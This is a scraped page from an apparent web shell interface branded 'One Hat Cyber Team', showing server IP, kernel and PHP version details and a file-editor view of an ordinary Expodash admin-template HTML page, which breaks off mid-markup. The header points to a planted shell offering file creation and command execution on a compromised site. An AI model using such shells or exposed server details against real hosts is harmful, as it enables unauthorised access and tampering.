One Hat Cyber Team
Your IP :
3.144.230.138
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ef.electronharmony.com
/
1
/
html
/
Edit File:
form-validation.html
<!DOCTYPE html> <html lang="zxx"> <head> <meta charset="utf-8" /> <meta http-equiv="x-ua-compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="description" content="Fully Responsive Admin & Dashboard Template" /> <meta name="keyword" content="" /> <meta name="author" content="WRAPCODERS" /> <!--! The above 6 meta tags *must* come first in the head; any other head content must come *after* these tags !--> <!--! BEGIN: Google Fonts !--><link rel="preconnect" href="https://fonts.googleapis.com" /> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> <link rel="preconnect" href="https://fonts.googleapis.com" /> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&family=Public+Sans:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet" /> <!--! END: Google Fonts !--> <!--! BEGIN: Favicon !--> <link rel="shortcut icon" type="image/x-icon" href="./../assets/images/favicon.ico" /> <!--! END: Favicon !--> <!--! BEGIN: Apps Title !--> <title>Validation | Expodash - Admin & Dashboard Template</title> <!--! END: Apps Title !--> <!--! BEGIN: Page Vendors -!--> <!--! END: Page Vendors -!--> <!--! BEGIN: MatisMenu CSS -!--> <link rel="stylesheet" href="./../assets/vendors/metismenu/metisMenu.min.css"> <!--! END: MatisMenu CSS -!--> <!--! BEGIN: Flaticon CSS -!--> <link rel="stylesheet" href="./../assets/vendors/@flaticon/flaticon-uicons/css/all/all.css"> <!--! END: Flaticon CSS -!--> <!--! BEGIN: Theme CSS -!--> <link rel="stylesheet" type="text/css" href="./../assets/css/theme.min.css"> <!--! END: Theme CSS -!--> <!--! Start:: Color Modes JS -!--> <script src="./../assets/js/color-modes.min.js"></script> <!--! End:: Color Modes JS -!--> <!--! HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries !--> <!--! WARNING: Respond.js doesn"t work if you view the page via file: !--> <!--[if lt IE 9]> <script src="https:oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https:oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <!--! ================================================================ !--> <!--! Start:: Main Wrapper !--> <!--! ================================================================ !--> <div class="main-wrapper"> <!--! ================================================================ !--> <!--! Start:: Main Menu !--> <!--! ================================================================ !--> <aside class="edash-menu position-fixed z-1030 start-0 top-0 end-0 bottom-0 bg-body-tertiary border-end" id="edash-menu" > <!-- Start:: Logo --> <div class="edash-menu-header ht-80 d-flex align-items-center px-5 py-4 position-relative" > <a href="index.html" class="edash-logo"> <img src="./../assets/images/logo-main.png" alt="logo" class="img-fluid edash-logo-main" /> <img src="./../assets/images/logo-abbr.png" alt="logo" class="img-fluid edash-logo-abbr" /> </a> </div> <!-- End:: Logo --> <!-- Start:: Sidebar Nav --> <nav class="edash-sidebar-nav position-relative z-2" id="edash-sidebar-nav" style="height: calc(100vh - 5rem)" > <ul class="edash-metismenu" id="edash-metismenu"> <li class="nav-label mb-2 mt-4 px-5 fs-11 fw-semibold text-muted text-uppercase" style="letter-spacing: 1px" > Navigations </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-airplay"></i> <span class="mm-text">Dashboards</span> </a> <ul> <li><a class="sub-menu" href="index.html">eCommerce</a></li> <li> <a class="sub-menu" href="./index-analytics.html">Analytics</a> </li> </ul> </li> <li class="nav-label mb-2 mt-4 px-5 fs-11 fw-semibold text-muted text-uppercase" style="letter-spacing: 1px" > Webapps </li> <li> <a href="./app-chat.html"> <i class="fi fi-rr-comment-alt-dots"></i> <span class="mm-text">Chat</span> </a> </li> <li> <a href="./app-email.html"> <i class="fi fi-rr-envelope-dot"></i> <span class="mm-text">Email</span> </a> </li> <li> <a href="./app-invoice.html"> <i class="fi fi-rr-file-invoice"></i> <span class="mm-text">Invoice</span> </a> </li> <li> <a href="./app-kanban.html"> <i class="fi fi-rr-square-kanban"></i> <span class="mm-text">Kanban</span> </a> </li> <li> <a href="./app-calendar.html"> <i class="fi fi-rr-calendar"></i> <span class="mm-text">Calendar</span> </a> </li> <li> <a href="./app-file-manager.html"> <i class="fi fi-rr-move-to-folder"></i> <span class="mm-text">File Manager</span> </a> </li> <li class="nav-label mb-2 mt-4 px-5 fs-11 fw-semibold text-muted text-uppercase" style="letter-spacing: 1px" > Components </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-layers"></i> <span class="mm-text">Base</span> </a> <ul> <li> <a href="./base-accordion.html" class="sub-menu">Accordion</a> </li> <li><a href="./base-avatar.html" class="sub-menu">Avatar</a></li> <li><a href="./base-button.html" class="sub-menu">Button</a></li> <li><a href="./base-card.html" class="sub-menu">Card</a></li> <li><a href="./base-carousel.html" class="sub-menu">Carousel</a></li> <li><a href="./base-dropdown.html" class="sub-menu">Dropdown</a></li> <li><a href="./base-modal.html" class="sub-menu">Modal</a></li> <li><a href="./base-navtab.html" class="sub-menu">NavTab</a></li> <li><a href="./base-toast.html" class="sub-menu">Toast</a></li> <li> <a href="./base-miscellaneous.html" class="sub-menu" >Miscellaneous</a > </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-heart"></i> <span class="mm-text">Icons</span> </a> <ul> <li><a href="./icon-feather.html" class="sub-menu">Feather</a></li> <li><a href="./icon-flaticon.html" class="sub-menu">Flaticon</a></li> <li> <a href="./icon-bootstrap.html" class="sub-menu">Bootstrap</a> </li> <li> <a href="./icon-fontawesome.html" class="sub-menu">Fontawesome</a> </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-table-list"></i> <span class="mm-text">Tables</span> </a> <ul> <li><a href="./table-default.html" class="sub-menu">Default</a></li> <li><a href="./table-bstable.html" class="sub-menu">bsTable</a></li> <li><a href="./table-footable.html" class="sub-menu">fooTable</a></li> <li> <a href="./table-datatable.html" class="sub-menu">dataTable</a> </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-chart-histogram"></i> <span class="mm-text">Charts</span> </a> <ul> <li><a href="./chart-apex.html" class="sub-menu">Apex</a></li> <li><a href="./chart-float.html" class="sub-menu">Float</a></li> <li><a href="./chart-chartjs.html" class="sub-menu">ChartJS</a></li> <li><a href="./chart-peity.html" class="sub-menu">Peity</a></li> <li><a href="./chart-progress.html" class="sub-menu">Progress</a></li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-table-layout"></i> <span class="mm-text">Forms</span> </a> <ul> <li> <a class="sub-menu has-arrow" href="javascript:void(0);" >Advanced</a > <ul> <li> <a href="./form-adv-radio.html" class="sub-menu">Radios</a> </li> <li> <a href="./form-adv-switch.html" class="sub-menu">Switchs</a> </li> <li> <a href="./form-adv-check.html" class="sub-menu">Checkbox</a> </li> </ul> </li> <li><a href="./form-elements.html" class="sub-menu">Elements</a></li> <li> <a href="./form-validation.html" class="sub-menu">Validation</a> </li> <li> <a href="./form-touchspin.html" class="sub-menu">TouchSpin</a> </li> <li> <a href="./form-inputmask.html" class="sub-menu">InputMask</a> </li> <li><a href="./form-repeater.html" class="sub-menu">Repeater</a></li> <li> <a href="./form-nouislider.html" class="sub-menu">noUiSlider</a> </li> <li> <a href="./form-maxlength.html" class="sub-menu">Maxlength</a> </li> <li> <a href="./form-clipboard.html" class="sub-menu">Clipboard</a> </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-list-dropdown"></i> <span class="mm-text">Selects</span> </a> <ul> <li><a href="./select-select2.html" class="sub-menu">Select2</a></li> <li> <a href="./select-selectize.html" class="sub-menu">Selectize</a> </li> <li><a href="./select-tagify.html" class="sub-menu">Tagify</a></li> <li><a href="./select-choices.html" class="sub-menu">Choices</a></li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-object-group"></i> <span class="mm-text">Editors</span> </a> <ul> <li><a href="./editor-quill.html" class="sub-menu">Quill</a></li> <li><a href="./editor-tinymce.html" class="sub-menu">TinyMCE</a></li> <li> <a href="./editor-summernote.html" class="sub-menu">Summernote</a> </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-eye-dropper"></i> <span class="mm-text">Pickers</span> </a> <ul> <li> <a href="./picker-flatpickr.html" class="sub-menu">Flatpickr</a> </li> <li> <a href="./picker-selectpicker.html" class="sub-menu" >SelectPicker</a > </li> <li> <a href="./picker-timepicker.html" class="sub-menu">TimePicker</a> </li> <li> <a href="./picker-bsdatepicker.html" class="sub-menu" >BsDatePicker</a > </li> <li> <a href="./picker-daterangepicker.html" class="sub-menu" >DaterangePicker</a > </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-marker"></i> <span class="mm-text">Maps</span> </a> <ul> <li><a href="./map-gmaps.html" class="sub-menu">Google Maps</a></li> <li><a href="./map-vector.html" class="sub-menu">Vector Maps</a></li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-apps-add"></i> <span class="mm-text">Extended</span> </a> <ul> <li> <a href="./extended-sweetalert2.html" class="sub-menu" >SweetAlert2</a > </li> <li> <a href="./extended-gLightbox.html" class="sub-menu">GLightbox</a> </li> <li> <a href="./extended-owlcarousel.html" class="sub-menu" >owlCarousel</a > </li> <li><a href="./extended-swiper.html" class="sub-menu">Swiper</a></li> <li><a href="./extended-jstree.html" class="sub-menu">jsTree</a></li> </ul> </li> <li class="nav-label mb-2 mt-4 px-5 fs-11 fw-semibold text-muted text-uppercase" style="letter-spacing: 1px" > Pages </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-circle-user"></i> <span class="mm-text">Account</span> </a> <ul> <li> <a href="./account-overview.html" class="sub-menu">Overview</a> </li> <li> <a href="./account-activity.html" class="sub-menu">Activity</a> </li> <li><a href="./account-contact.html" class="sub-menu">Contact</a></li> <li><a href="./account-project.html" class="sub-menu">Project</a></li> <li><a href="./account-billing.html" class="sub-menu">Billing</a></li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-user-gear"></i> <span class="mm-text">Settings</span> </a> <ul> <li> <a href="./settings-account.html" class="sub-menu">Account</a> </li> <li> <a href="./settings-security.html" class="sub-menu">Security</a> </li> <li> <a href="./settings-billing.html" class="sub-menu" >Billing & Plans</a > </li> <li> <a href="./settings-notification.html" class="sub-menu" >Notification</a > </li> <li> <a href="./settings-integration.html" class="sub-menu" >Integration</a > </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-browser"></i> <span class="mm-text">General</span> </a> <ul> <li><a href="./general-starter.html" class="sub-menu">Starter</a></li> <li><a href="./general-pricing.html" class="sub-menu">Pricing</a></li> <li> <a href="./general-helpdesk.html" class="sub-menu">Helpdesk</a> </li> <li> <a href="general-maintenance.html" class="sub-menu">Maintenance</a> </li> <li> <a href="general-commingsoon.html" class="sub-menu">Comming Soon</a> </li> <li> <a href="./general-privacy.html" class="sub-menu" >Privacy & Policy</a > </li> <li> <a href="./general-terms.html" class="sub-menu" >Terms of Services</a > </li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-lock"></i> <span class="mm-text">Authentication</span> </a> <ul> <li><a href="./auth-login.html" class="sub-menu">Login</a></li> <li><a href="./auth-register.html" class="sub-menu">Register</a></li> <li><a href="./auth-reset.html" class="sub-menu">Resetting</a></li> <li><a href="./auth-recover.html" class="sub-menu">Recovery</a></li> <li> <a href="./auth-otp.html" class="sub-menu">Two-factor (OTP)</a> </li> <li> <a href="./auth-lockscreen.html" class="sub-menu">Lock Screen</a> </li> <li><a href="auth-404.html" class="sub-menu">Error-404</a></li> </ul> </li> <li> <a class="has-arrow" href="javascript:void(0);"> <i class="fi fi-rr-settings-sliders"></i> <span class="mm-text">Menu Level</span> </a> <ul> <li><a class="sub-menu" href="javascript:void(0);">Level-1</a></li> <li> <a class="sub-menu has-arrow" href="javascript:void(0);">Level-1</a> <ul> <li> <a class="sub-menu" href="javascript:void(0);">Level-2</a> </li> <li> <a class="sub-menu has-arrow" href="javascript:void(0);" >Level-2</a > <ul> <li> <a class="sub-menu" href="javascript:void(0);">Level-3</a> </li> <li> <a class="sub-menu" href="javascript:void(0);">Level-3</a> </li> </ul> </li> </ul> </li> </ul> </li> <li class="disabled"> <a href="javascript:void(0);"> <i class="fi fi-rr-ban"></i> <span class="mm-text">Disabled</span> </a> </li> <li class="nav-label mb-2 mt-4 px-5 fs-11 fw-semibold text-muted text-uppercase" style="letter-spacing: 1px" > Supports </li> <li> <a href="mailto:wrapcoders@gmail.com"> <i class="fi fi-rr-life-ring"></i> <span class="mm-text">Supports</span> </a> </li> <li> <a href="./../../docs/documentation.html" target="_blank"> <i class="fi fi-rr-book-alt"></i> <span class="mm-text">Documentation</span> </a> </li> </ul> <div class="card text-center mx-3 mt-6 mb-4 bg-primary-subtle"> <div class="card-body vstack gap-4"> <i class="fi fi-rr-rocket-lunch fs-1 text-primary" style="transform: rotate(320deg)" ></i> <div> <h5 class="mb-2 text-primary">Help Center</h5> <p class="fs-13 fw-light mb-0 text-primary"> Expodash is a production ready multi dashboard to get started up and running easily. </p> </div> <a href="mailto:wrapcoders@gmail.com" class="btn btn-primary text-white w-100" >Get Support</a > </div> </div> </nav> <!-- End:: Sidebar Nav --> </aside> <!--! ================================================================ !--> <!--! End:: Main Menu !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Main Content !--> <!--! ================================================================ !--> <main id="edash-main"> <!--! ================================================================ !--> <!--! Start:: Header !--> <!--! ================================================================ !--> <header class="edash-header sticky-top d-flex align-items-end ht-80" id="edash-header-sticky" > <div class="edash-header-container container-xxl w-100 ht-70 px-4 bg-body-tertiary border rounded-3 d-flex align-items-center justify-content-between position-relative" id="edash-header-container" > <!--! Start:: edash-header-left !--> <div class="edash-header-left d-flex align-items-center gap-2"> <!--! Start:: edash-minimenu-toggle !--> <div class="edash-minimenu-toggle d-none d-xl-flex"> <div id="edash-menu-mini"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill ht-40" > <i class="fi fi-sr-menu-burger"></i> </a> </div> <div id="edash-menu-expand" style="display: none"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill ht-40" > <i class="fi fi-rr-arrow-right"></i> </a> </div> </div> <!--! End:: edash-minimenu-toggle !--> <!--! Start:: edash-menu-toggle !--> <div class="edash-menu-toggle d-xl-none"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill ht-40" id="edash-menu-show" > <i class="fi fi-sr-menu-burger"></i> </a> </div> <!--! End:: edash-menu-toggle !--> <!--! Start:: edash-search-wrapper !--> <div class="edash-search-wrapper"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40 ms-1" id="edash-search-show" > <i class="fi fi-rr-search"></i> </a> <form action="#" class="edash-search position-absolute start-0 top-0 end-0 bottom-0 w-100 z-1090" > <div class="input-group ps-3 ps-md-4 pe-md-2 bg-body-tertiary rounded-3" style="height: calc(5rem - 0.75rem)" > <span class="input-group-text border-0"> <i class="fi fi-rr-search"></i> </span> <input type="text" class="form-control border-0 fw-medium text-muted" placeholder="Search...." /> <span class="input-group-text border-0" id="edash-search-hide"> <button type="button" class="btn-close"></button> </span> </div> </form> </div> <!--! End:: edash-search-wrapper !--> </div> <!--! End:: edash-header-left !--> <!--! Start:: edash-header-right !--> <div class="edash-header-right d-flex align-items-center gap-1 gap-sm-2"> <!--! Start:: edash-language !--> <div class="dropdown"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" data-bs-toggle="dropdown" data-bs-auto-close="outside" data-bs-offset="0, 19" > <img src="./../assets/images/flags/1x1/us.svg" class="img-fluid rounded-circle wd-20 ht-20" alt="" /> </a> <ul class="dropdown-menu dropdown-menu-end"> <li> <a href="javascript:void(0);" class="dropdown-item"> <img src="./../assets/images/flags/1x1/us.svg" alt="" class="img-fluid rounded-circle wd-20 ht-20" /> <span class="ms-3">English (US)</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item"> <img src="./../assets/images/flags/1x1/fr.svg" alt="" class="img-fluid rounded-circle wd-20 ht-20" /> <span class="ms-3">Français</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item"> <img src="./../assets/images/flags/1x1/ru.svg" alt="" class="img-fluid rounded-circle wd-20 ht-20" /> <span class="ms-3">Russian</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item"> <img src="./../assets/images/flags/1x1/de.svg" alt="" class="img-fluid rounded-circle wd-20 ht-20" /> <span class="ms-3">Deutsch</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item"> <img src="./../assets/images/flags/1x1/bd.svg" alt="" class="img-fluid rounded-circle wd-20 ht-20" /> <span class="ms-3">Bangeli</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item"> <img src="./../assets/images/flags/1x1/gb.svg" alt="" class="img-fluid rounded-circle wd-20 ht-20" /> <span class="ms-3">English (UK)</span> </a> </li> </ul> </div> <!--! End:: edash-language !--> <!--! Start:: theme-switcher !--> <div class="dropdown"> <svg xmlns="http://www.w3.org/2000/svg" class="d-none"> <symbol id="sun-fill" viewBox="0 0 24 24"> <path d="M12,17c-2.76,0-5-2.24-5-5s2.24-5,5-5,5,2.24,5,5-2.24,5-5,5Zm0-8c-1.65,0-3,1.35-3,3s1.35,3,3,3,3-1.35,3-3-1.35-3-3-3Zm1-5V1c0-.55-.45-1-1-1s-1,.45-1,1v3c0,.55,.45,1,1,1s1-.45,1-1Zm0,19v-3c0-.55-.45-1-1-1s-1,.45-1,1v3c0,.55,.45,1,1,1s1-.45,1-1ZM5,12c0-.55-.45-1-1-1H1c-.55,0-1,.45-1,1s.45,1,1,1h3c.55,0,1-.45,1-1Zm19,0c0-.55-.45-1-1-1h-3c-.55,0-1,.45-1,1s.45,1,1,1h3c.55,0,1-.45,1-1ZM6.71,6.71c.39-.39,.39-1.02,0-1.41l-2-2c-.39-.39-1.02-.39-1.41,0s-.39,1.02,0,1.41l2,2c.2,.2,.45,.29,.71,.29s.51-.1,.71-.29Zm14,14c.39-.39,.39-1.02,0-1.41l-2-2c-.39-.39-1.02-.39-1.41,0s-.39,1.02,0,1.41l2,2c.2,.2,.45,.29,.71,.29s.51-.1,.71-.29Zm-16,0l2-2c.39-.39,.39-1.02,0-1.41s-1.02-.39-1.41,0l-2,2c-.39,.39-.39,1.02,0,1.41,.2,.2,.45,.29,.71,.29s.51-.1,.71-.29ZM18.71,6.71l2-2c.39-.39,.39-1.02,0-1.41s-1.02-.39-1.41,0l-2,2c-.39,.39-.39,1.02,0,1.41,.2,.2,.45,.29,.71,.29s.51-.1,.71-.29Z" ></path> </symbol> <symbol id="moon-stars-fill" viewBox="0 0 24 24"> <path d="M15,24a12.021,12.021,0,0,1-8.914-3.966,11.9,11.9,0,0,1-3.02-9.309A12.122,12.122,0,0,1,13.085.152a13.061,13.061,0,0,1,5.031.205,2.5,2.5,0,0,1,1.108,4.226c-4.56,4.166-4.164,10.644.807,14.41a2.5,2.5,0,0,1-.7,4.32A13.894,13.894,0,0,1,15,24Zm.076-22a10.793,10.793,0,0,0-1.677.127,10.093,10.093,0,0,0-8.344,8.8A9.927,9.927,0,0,0,7.572,18.7,10.476,10.476,0,0,0,18.664,21.43a.5.5,0,0,0,.139-.857c-5.929-4.478-6.4-12.486-.948-17.449a.459.459,0,0,0,.128-.466.49.49,0,0,0-.356-.361A10.657,10.657,0,0,0,15.076,2Z" ></path> </symbol> <symbol id="circle-half" viewBox="0 0 24 24"> <path d="M12,0C5.38,0,0,5.38,0,12s5.38,12,12,12,12-5.38,12-12S18.62,0,12,0Zm0,22V2c5.51,0,10,4.49,10,10s-4.49,10-10,10Z" ></path> </symbol> </svg> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" id="bd-theme" aria-expanded="false" data-bs-toggle="dropdown" aria-label="Toggle theme (dark)" data-bs-auto-close="outside" data-bs-offset="0, 19" > <svg class="theme-icon-active wd-20 ht-20" fill="currentColor"> <use href="#moon-stars-fill"></use> </svg> </a> <ul class="dropdown-menu dropdown-menu-end min-wd-200"> <li> <a href="javascript:void(0);" class="dropdown-item" data-bs-theme-value="light" > <svg class="theme-icon" fill="currentColor" width="16" height="16" > <use href="#sun-fill"></use> </svg> <span class="ms-3">Light</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item" data-bs-theme-value="dark" > <svg class="theme-icon" fill="currentColor" width="16" height="16" > <use href="#moon-stars-fill"></use> </svg> <span class="ms-3">Dark</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item" data-bs-theme-value="auto" > <svg class="theme-icon" fill="currentColor" width="16" height="16" > <use href="#circle-half"></use> </svg> <span class="ms-3">Auto</span> </a> </li> </ul> </div> <!--! End:: theme-switcher !--> <!--! Start:: edash-notifications !--> <div class="dropdown"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" data-bs-toggle="dropdown" data-bs-auto-close="outside" data-bs-offset="0, 19" > <i class="fi fi-rr-bell"></i> <div class="position-absolute top-10 start-50 translate-middle wd-6 ht-6 bg-danger rounded-circle" data-bs-toggle="tooltip" data-bs-trigger="hover" title="12+ Unread Notification" ></div> </a> <div class="dropdown-menu dropdown-menu-end dropdown-xl p-0 overflow-hidden" > <div class="bg-primary text-white px-4 py-4"> <h5 class="fw-semibold text-white mb-1"> <span>Notifications</span> <span class="badge bg-warning ms-1 rounded-pill">12+</span> </h5> <p class="fs-13 mb-0">You have 12+ unread notification</p> </div> <div class="list-group list-group-flush ht-300 position-relative init-perfect-scroll-bar" > <a href="javascript:void(0);" class="list-group-item d-flex position-relative" > <div class="avatar avatar-lg bg-danger-subtle rounded flex-shrink-0" > <i class="fi fi-rr-megaphone text-danger"></i> </div> <div class="media-body flex-grow-1 ms-3"> <p class="fw-normal mb-1"> Congratulate <span class="fw-semibold text-dark">Socrates Itumay</span> for work anniversaries </p> <span class="fs-12 fw-normal text-muted">Mar 15 12:32pm</span> </div> <div class="position-absolute top-40 translate-middle wd-5 ht-5 bg-primary rounded-circle" style="left: 0.75rem" data-bs-toggle="tooltip" data-bs-trigger="hover" title="Unread Notification" ></div> </a> <a href="javascript:void(0);" class="list-group-item d-flex position-relative" > <div class="avatar avatar-lg bg-warning-subtle rounded flex-shrink-0" > <i class="fi fi-rr-edit text-warning"></i> </div> <div class="media-body flex-grow-1 ms-3"> <p class="fw-normal mb-1"> <span class="fw-semibold text-dark">Althea Cabardo</span> just created a new blog post </p> <span class="fs-12 fw-normal text-muted">Mar 13 02:56am</span> </div> <div class="position-absolute top-40 translate-middle wd-5 ht-5 bg-primary rounded-circle" style="left: 0.75rem" data-bs-toggle="tooltip" data-bs-trigger="hover" title="Unread Notification" ></div> </a> <a href="javascript:void(0);" class="list-group-item d-flex"> <div class="avatar avatar-lg bg-info-subtle rounded flex-shrink-0" > <i class="fi fi-rr-comment-alt-dots text-info"></i> </div> <div class="media-body flex-grow-1 ms-3"> <p class="fw-normal mb-1"> <span class="fw-semibold text-dark">Adrian Monino</span> added new comment on your photo </p> <span class="fs-12 fw-normal text-muted">Mar 12 10:40pm</span> </div> </a> <a href="javascript:void(0);" class="list-group-item d-flex"> <div class="avatar avatar-lg bg-success-subtle rounded flex-shrink-0" > <i class="fi fi-rr-badge-check text-success"></i> </div> <div class="media-body flex-grow-1 ms-3"> <p class="fw-normal mb-1"> <span class="fw-semibold text-dark">Kenneth Hune</span> accepted your request </p> <span class="fs-12 fw-normal text-muted">Mar 13 02:56am</span> </div> </a> <a href="javascript:void(0);" class="list-group-item d-flex border-bottom-0" > <div class="avatar avatar-lg bg-warning-subtle rounded flex-shrink-0" > <i class="fi fi-rr-file-medical-alt text-warning"></i> </div> <div class="media-body flex-grow-1 ms-3"> <p class="fw-normal mb-1"> December monthly financial <strong>report</strong> is generated </p> <span class="fs-12 fw-normal text-muted">Mar 12 10:40pm</span> </div> </a> </div> <div class="px-4 py-3 border-top d-flex justify-content-between align-items-center" > <a href="javascript:void(0);">Make as Read</a> <a href="javascript:void(0);" class="icon-link icon-link-hover"> <span>View Alls</span> <i class="fi fi-rr-arrow-small-right bi"></i> </a> </div> </div> </div> <!--! End:: edash-notifications !--> <!--! Start:: edash-helpdesk !--> <div class="dropdown"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" data-bs-toggle="dropdown" data-bs-auto-close="outside" data-bs-offset="0, 19" > <i class="fi fi-rr-interrogation"></i> </a> <div class="dropdown-menu dropdown-menu-end dropdown-xl p-0 overflow-hidden" > <div class="bg-primary text-white text-center px-6 py-12"> <h4 class="fw-semibold text-white mb-2">Help Center</h4> <p class="fs-13"> This greeting is courteous and professional, setting a positive tone for your ticket. </p> <a href="javascript:void(0);" class="btn btn-sm btn-warning" >Get Support</a > </div> <div class="row g-2 p-3"> <div class="col-6"> <a href="javascript:void(0);" class="dropdown-item" >Introduction</a > <a href="javascript:void(0);" class="dropdown-item">Orders</a> <a href="javascript:void(0);" class="dropdown-item">Products</a> <a href="javascript:void(0);" class="dropdown-item">Customers</a> <a href="javascript:void(0);" class="dropdown-item">Suppliers</a> <a href="javascript:void(0);" class="dropdown-item" >Customization</a > </div> <div class="col-6"> <a href="javascript:void(0);" class="dropdown-item">Partners</a> <a href="javascript:void(0);" class="dropdown-item">Members</a> <a href="javascript:void(0);" class="dropdown-item">Components</a> <a href="javascript:void(0);" class="dropdown-item">Projects</a> <a href="javascript:void(0);" class="dropdown-item">Records</a> <a href="javascript:void(0);" class="dropdown-item">Support</a> </div> </div> </div> </div> <!--! End:: edash-helpdesk !--> <!--! Start:: edash-applications !--> <div class="dropdown"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" data-bs-toggle="dropdown" data-bs-auto-close="outside" data-bs-offset="0, 19" > <i class="fi fi-rr-apps-add"></i> </a> <div class="dropdown-menu dropdown-menu-end dropdown-lg"> <div class="row text-center align-items-center gx-0 gy-0"> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/gmail.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Gmail </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/dropbox.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Dropbox </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/google-drive.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Gdrive </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/figma.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Figma </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/github.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Github </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/gitlab.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Gitlab </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/instagram.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Instagram </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/pinterest.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Pinterest </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-3 rounded" > <img src="./../assets/images/brand/facebook.png" alt="" class="img-fluid wd-20 ht-20" /> <p class="fs-12 fw-medium text-truncate mb-0 mt-1 pt-1"> Facebook </p> </a> </div> <div class="col-4 hstack"> <a href="javascript:void(0);" class="w-100 d-block px-2 py-3 text-center text-decoration-none mb-0" > <img src="./../assets/images/brand/shopify.png" alt="" class="img-fluid wd-20 ht-20" /> <p 